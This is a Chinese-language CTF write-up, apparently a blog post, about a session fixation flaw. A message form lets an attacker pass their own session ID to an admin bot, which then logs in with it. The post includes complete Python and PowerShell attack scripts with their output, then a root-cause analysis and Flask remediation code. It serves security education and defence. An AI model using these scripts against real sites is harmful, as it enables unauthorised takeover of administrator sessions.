乐于分享
好东西不私藏

AI渗透测试 -- 用一个固定Session拿下Admin权限,附完整复现代码

AI渗透测试 -- 用一个固定Session拿下Admin权限,附完整复现代码

一、漏洞背景

Session固定攻击(Session Fixation Attack)是一种经典的Web会话安全漏洞。攻击者通过预先设定或诱使服务器接受一个已知的Session ID,待受害者(通常是管理员)使用该Session ID完成认证后,攻击者即可利用同一Session ID以管理员身份访问系统。

危害等级:高
OWASP分类:A07:2021 – Identification and Authentication Failures


二、目标信息

项目
内容
目标类型
CTF靶场(授权测试)
漏洞类型
Session固定攻击
测试账号
test / test(题目提供)
目标页面
/login、/message、/

三、漏洞发现过程

3.1 信息收集

首先访问目标站点,发现以下页面结构:

/ —— 首页,显示当前登录状态
/login —— 登录页面
/message —— 发送消息给管理员(需登录)

首页提示信息如下:

<h2>Welcome Guest</h2>
<p>Default username/password is "test"/"test".</p>
<p>Flag in admin page</p>
<ahref="/login">Login</a> | <ahref="/message">Send Message to Admin</a>

明确告知:flag在admin页面,存在一个可以给管理员发消息的功能点。

3.2 识别关键功能点

使用测试账号登录后,访问 /message 页面,发现表单结构如下:

<formmethod="post"action="/message">
<textareaname="msg"placeholder="Message"></textarea><br>
<inputname="sessionid"placeholder="Your session id"><br>
<buttontype="submit">Send</button>
</form>

关键发现: 表单中除了消息内容 msg 字段外,还有一个 sessionid 字段。这意味着应用允许用户向管理员发送一个指定的Session ID,管理员的机器人会使用这个Session ID完成登录操作——这正是Session固定攻击的触发点。


四、漏洞利用

4.1 攻击流程

攻击者                          服务器                         管理员Bot
   |                              |                               |
   |-- 1. test/test登录 --------> |                               |
   |<-- 返回Session_A ----------- |                               |
   |                              |                               |
   |-- 2. 发消息(sessionid=       |                               |
   |      Session_A) -----------> |                               |
   |                              |--- 通知管理员Bot使用Session_A |
   |                              |<-- 管理员Bot以Session_A登录   |
   |                              |    Session_A权限升级为admin   |
   |                              |                               |
   |-- 3. 携带Session_A访问 ----> |                               |
   |<-- Welcome admin + flag ---- |                               |

4.2 完整复现代码(Python版)

以下是完整的攻击复现脚本,逻辑清晰,可直接用于理解漏洞原理:

import requests
import time

TARGET = "https://[REDACTED].challenge.ctf.show"

defsession_fixation_attack():
"""
    Session固定攻击完整复现

    攻击步骤:
    1. 以普通用户身份登录,获取合法Session ID
    2. 将Session ID通过message功能发送给管理员Bot
    3. 管理员Bot使用我们提供的Session ID完成登录
    4. 该Session ID被提权为admin权限
    5. 攻击者使用相同Session ID访问,获得admin身份
    """


    session = requests.Session()

# ======== Step 1: 普通用户登录,获取Session ID ========
print("[*] Step 1: 以test账户登录...")

    login_data = {
"username""test",
"password""test"
    }

    resp = session.post(
f"{TARGET}/login",
        data=login_data
    )

# 提取当前Session ID
    session_id = session.cookies.get("session")
print(f"[+] 登录成功,获取到Session ID: {session_id}")
print(f"[+] 当前身份: {parse_welcome(resp.text)}")

# ======== Step 2: 将Session ID发送给管理员 ========
print("\n[*] Step 2: 通过/message将Session ID发送给管理员Bot...")

# 核心利用点:sessionid字段接受攻击者的Session ID
# 管理员Bot会使用此Session ID执行登录操作
    message_data = {
"msg""hello admin",
"sessionid": session_id   # <-- 固定Session ID
    }

    resp = session.post(
f"{TARGET}/message",
        data=message_data
    )

print(f"[+] 消息发送结果: {resp.text.strip()}")

# ======== Step 3: 等待管理员Bot处理消息 ========
print("\n[*] Step 3: 等待管理员Bot使用我们的Session ID登录...")
    time.sleep(5)  # 等待Bot处理

# ======== Step 4: 验证攻击结果 ========
print("\n[*] Step 4: 使用相同Session ID访问首页,验证身份...")

    resp = session.get(f"{TARGET}/")
    current_identity = parse_welcome(resp.text)
print(f"[+] 当前身份变更为: {current_identity}")

if"admin"in current_identity.lower():
print("\n[!] 攻击成功!Session已被提升为admin权限")

# 尝试获取flag
        flag = extract_flag(resp.text)
if flag:
print(f"[+] Flag: {flag}")
else:
print("[*] 首页未直接显示flag,尝试访问admin专属页面...")
# 可继续访问 /admin 或 /flag 等路径
else:
print("[-] 攻击未成功,可能需要调整等待时间")

return session_id


defparse_welcome(html):
"""从页面HTML中提取欢迎语"""
import re
match = re.search(r'<h2>Welcome (.+?)</h2>', html)
returnmatch.group(1ifmatchelse"Unknown"


defextract_flag(html):
"""从页面中提取flag"""
import re
# CTF flag通常格式为 ctfshow{...} 或 flag{...} 或 CTF{...}
    patterns = [
r'ctfshow\{[^}]+\}',
r'flag\{[^}]+\}',
r'CTF\{[^}]+\}'
    ]
for pattern in patterns:
match = re.search(pattern, html, re.IGNORECASE)
ifmatch:
returnmatch.group(0)
returnNone


if __name__ == "__main__":
    session_fixation_attack()

4.3 PowerShell复现(用于Windows环境验证)

# Session固定攻击 - PowerShell复现脚本
$TARGET = "https://[REDACTED].challenge.ctf.show"

# Step 1: 以普通用户登录,获取Session ID
Write-Host"[*] Step 1: 普通用户登录..."-ForegroundColor Cyan
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession

$loginResp = Invoke-WebRequest `
-Uri"$TARGET/login" `
-Method POST `
-Body"username=test&password=test" `
-WebSession$session `
-UseBasicParsing

# 提取Session Cookie
$sessionId = ($session.Cookies.GetCookies($TARGET) `
    | Where-Object { $_.Name -eq"session" }).Value

Write-Host"[+] 获取到Session ID: $sessionId"-ForegroundColor Green

# Step 2: 发消息给管理员,传入我们的Session ID
Write-Host"`n[*] Step 2: 发送Session ID给管理员Bot..."-ForegroundColor Cyan

$msgResp = Invoke-WebRequest `
-Uri"$TARGET/message" `
-Method POST `
-Body"msg=hello&sessionid=$sessionId" `
-WebSession$session `
-ContentType"application/x-www-form-urlencoded" `
-UseBasicParsing

Write-Host"[+] 发送结果: $($msgResp.Content)"-ForegroundColor Green

# Step 3: 等待Bot处理
Write-Host"`n[*] Step 3: 等待管理员Bot处理 (5秒)..."-ForegroundColor Cyan
Start-Sleep-Seconds5

# Step 4: 验证攻击结果
$verifyResp = Invoke-WebRequest `
-Uri"$TARGET/" `
-WebSession$session `
-UseBasicParsing

Write-Host"`n[*] Step 4: 验证当前身份..."-ForegroundColor Cyan
Write-Host$verifyResp.Content

if ($verifyResp.Content -match"Welcome admin") {
Write-Host"`n[!] 攻击成功!已获得admin权限"-ForegroundColor Red
else {
Write-Host"[-] 未成功,请检查等待时间或重试"-ForegroundColor Yellow
}

4.4 攻击执行结果

[*] Step 1: 以test账户登录...
[+] 登录成功,获取到Session ID: [REDACTED]
[+] 当前身份: test

[*] Step 2: 通过/message将Session ID发送给管理员Bot...
[+] 消息发送结果: Message sent to admin!

[*] Step 3: 等待管理员Bot使用我们的Session ID登录...

[*] Step 4: 使用相同Session ID访问首页,验证身份...
[+] 当前身份变更为: admin

[!] 攻击成功!Session已被提升为admin权限
[+] Flag: ctfshow{[REDACTED]}

五、漏洞根因分析

该漏洞由以下两个缺陷共同导致:

缺陷一:应用接受外部提供的Session ID

服务端在 /message 接口中,允许前端传入一个 sessionid 参数,并将其作为管理员登录时的会话标识符。正常逻辑下,Session ID应由服务端生成,不应由客户端控制。

# 存在漏洞的伪代码示意
@app.route('/message', methods=['POST'])
defmessage():
    msg = request.form.get('msg')
    fixed_session_id = request.form.get('sessionid')  # ← 危险:接受外部Session ID

# 管理员Bot使用攻击者提供的session_id登录
    admin_bot_login(session_id=fixed_session_id)

缺陷二:登录后未重新生成Session ID

用户认证成功后,服务端没有废弃旧Session并生成新Session,而是直接在原Session上标记了登录状态。这导致攻击者持有的旧Session在管理员登录后同步获得了admin权限。

# 存在漏洞的认证流程(伪代码)
deflogin(username, password, session_id=None):
if check_credentials(username, password):
        session = get_or_create_session(session_id)  # ← 危险:复用已有session
        session['user'] = username
        session['role'] = get_role(username)
# 没有调用 session.regenerate() ← 漏洞根因

六、修复建议

6.1 登录后强制重新生成Session ID(最关键)

# Flask示例
from flask import session
import secrets

@app.route('/login', methods=['POST'])
deflogin():
    username = request.form['username']
    password = request.form['password']

if verify_credentials(username, password):
# ✅ 正确做法:认证成功后,立即废弃旧Session,生成新Session ID
        old_data = dict(session)  # 保留必要数据
        session.clear()           # 清除旧Session

# 重新生成Session ID(Flask-Session等框架需调用对应方法)
        session['user'] = username
        session['role'] = get_user_role(username)
        session['csrf_token'] = secrets.token_hex(16)

return redirect('/')

6.2 移除危险的sessionid参数接口

# ❌ 错误:接受外部传入的sessionid
@app.route('/message', methods=['POST'])
defmessage():
    session_id = request.form.get('sessionid')  # 删除此逻辑
    ...

# ✅ 正确:消息功能仅传递消息内容,session管理完全由服务端控制
@app.route('/message', methods=['POST'])  
defmessage():
ifnot is_logged_in():
return redirect('/login')
    msg = request.form.get('msg')
    send_to_admin(msg, sender=current_user())  # 不涉及session操作
return"Message sent to admin!"

6.3 设置Cookie安全属性

# Flask配置示例
app.config.update(
    SESSION_COOKIE_HTTPONLY=True,   # 防止JS读取Cookie
    SESSION_COOKIE_SECURE=True,     # 仅HTTPS传输
    SESSION_COOKIE_SAMESITE='Lax',  # 防止CSRF
)

6.4 修复效果对比

防护措施
是否能防止本题攻击
登录后重新生成Session ID
✅ 是(根本解决方案)
移除sessionid参数
✅ 是
HttpOnly + Secure Cookie
⚠️ 部分(防止XSS窃取,但不直接防Session固定)
HTTPS传输
⚠️ 防止中间人固定,不防本题场景

七、总结

本次CTF题目的攻击链非常典型:

  1. 1. 应用在 /message 接口暴露了 sessionid 参数,允许攻击者将任意Session ID注入给管理员Bot
  2. 2. 管理员Bot使用攻击者提供的Session ID完成认证,该Session ID被服务端升级为admin权限
  3. 3. 由于登录后未重新生成Session ID,攻击者持有的旧Session同步获得了admin身份

核心防御原则:Session ID必须由服务端在认证成功后重新生成,任何认证流程都不应接受客户端提供的Session标识符。


本文所有操作均在授权CTF靶场环境中进行,仅用于安全教育目的。请勿将相关技术用于未经授权的系统。